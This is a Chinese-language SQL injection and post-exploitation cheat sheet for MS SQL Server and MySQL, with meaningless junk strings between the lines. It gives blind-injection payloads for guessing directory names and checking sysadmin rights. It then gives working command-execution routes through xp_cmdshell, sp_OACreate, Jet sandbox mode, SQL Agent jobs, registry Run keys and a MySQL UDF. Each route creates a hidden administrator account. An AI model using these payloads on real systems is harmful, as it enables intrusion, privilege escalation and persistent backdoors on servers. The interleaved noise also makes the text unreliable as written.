5 [) b! g/ P6 v. I, ` K" ^and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录! W- o0 l& P5 x, H1 b6 H
j& F4 B+ t8 s! s( b
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段% L# X" k! S, ?* M! E! Y+ F. g
: S& L8 Z+ S; g; }$ [9 S8 u% n
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符, r7 G! V6 u: ?1 _8 m ~/ A
' e# u6 X5 E. H, `! Y0 B# T
5 h4 u' Z. p" J* {' e
数据库版本和权限查看, P q& t0 u( ]5 L" ]5 P
and 1=(select @@VERSION) //查看详细的数据库信息. + O" p, ?: |. M" tand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA ) m, H/ X! b. _5 Kand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER" b6 h& \% c L
) l% T7 [2 o5 B5 L3 ?7 k
) ^. w( U" u8 k7 Y: J4 c5 g: p, v
1.利用xp_cmdshell执行命令 / Y0 I/ W ~$ oexec master..xp_cmdshell 'net user rfire 123456 /add' % y0 x1 o3 s: N( V0 t! _. I' ?exec master..xp_cmdshell 'net localgroup administrators rfire /add'$ o1 e$ a: P8 v! g' p+ v
" r4 _* B' u5 N! ~6 x! N- t% D# n9 O" _恢复xp_cmdshell存储过程6 h ~, Y( g! H+ T0 v
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 4 t$ S5 {1 V& B7 _ & i- f; K& v3 {8 w4 M1 e + X& {! Y+ P: z d+ U( i( n2.利用SP_OAcreate和SP_OAMETHOD执行命令+ z3 {2 `+ Q8 d' z: ^1 O7 k
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下 9 o, w! o) r( |; _DECLARE @shell INT //建立一个@shell实体: ^, R g( q# E j% F
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例+ A* d) T# F: M1 e4 Q/ D1 `$ p
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例 t. i0 x4 I/ G' u1 n N 7 e, q8 Z) [0 {# a X9 y% b # i3 V) ]5 p. x: Z+ ~3.利用沙盒模式 * j9 ` D- N+ U/ o3 J# c2 a( O. x先利用xp_regwrite（前提是要求xp_regwrite存在）改注册表，然后用OpenRowSet访问系统自身mdb文件，然后执行SQL语句。" a9 a0 _) I) f3 I, d) x
开启沙盒模式：9 f: ?$ u! m: ^9 m1 n, F
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0 & w( y5 L. `# ? x5 ]5 v: y) K# U3 i
执行命令：/ o d1 N# n( Y! E+ {
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")'); A3 }% s* P7 ^' \% q! G1 ^( L2 L+ M
( q8 O0 C( I7 Z" F! q
: g' a$ a6 p# H2 D7 ]4.利用SQL代理执行命令8 a: ]: @2 r! h. u; L# `$ C
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务- J- @- {5 Y! G5 B0 C
9 E# t9 j. B! `- k& j8 ^6 C! n
执行命令：" D, m6 j0 m5 v- V Z! x7 _/ \
use msdb exec sp_delete_job null,'x' //进入msdb数据库，删除x作业防止出错3 r3 b% M% K' M* K$ F
exec sp_add_job 'x' & t) M9 {6 _) w5 L" xexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业! O" H j, B5 V# P, Z3 ]
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业6 ^* t( q' k& K( k) [$ Q2 V
! J) y5 H" ] |4 X @" K( Q0 n' y- Y9 q
5.利用注册表项执行命令（用xp_regwrite将执行命令写入启动项）1 @3 {1 Y7 R$ H, c4 P: R/ h% r& e7 o8 {
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'" g3 p- j$ F: x5 u a
( K3 W3 e; ^9 ~: `& w1 U3 z ) U& K4 i5 ~5 S0 ]6.MYSQL的命令执行- Q: p2 _6 L, { W: _5 Z/ \
MYSQL的UDF自定义函数提权（要求账号拥有insert和delete权限） ; V, }# v7 B. m. M' M5 @1 o首先要在su.php下导出c:\windows\udf.dll 5 u8 E# H6 \9 @导出后执行创建自定义函数命令： . [' Q$ G2 ?3 e1 bCreate Function cmdshell returns string soname 'udf.dll' 1 c% c2 s% n% e# c8 t* K执行命令3 ]/ L' j% W V# t
select cmdshell('net user rfire 123456 /add') 1 p4 H& W X% i* |执行后删除函数 drop function cmdshell 3 `9 _( a. o2 j- x9 W# R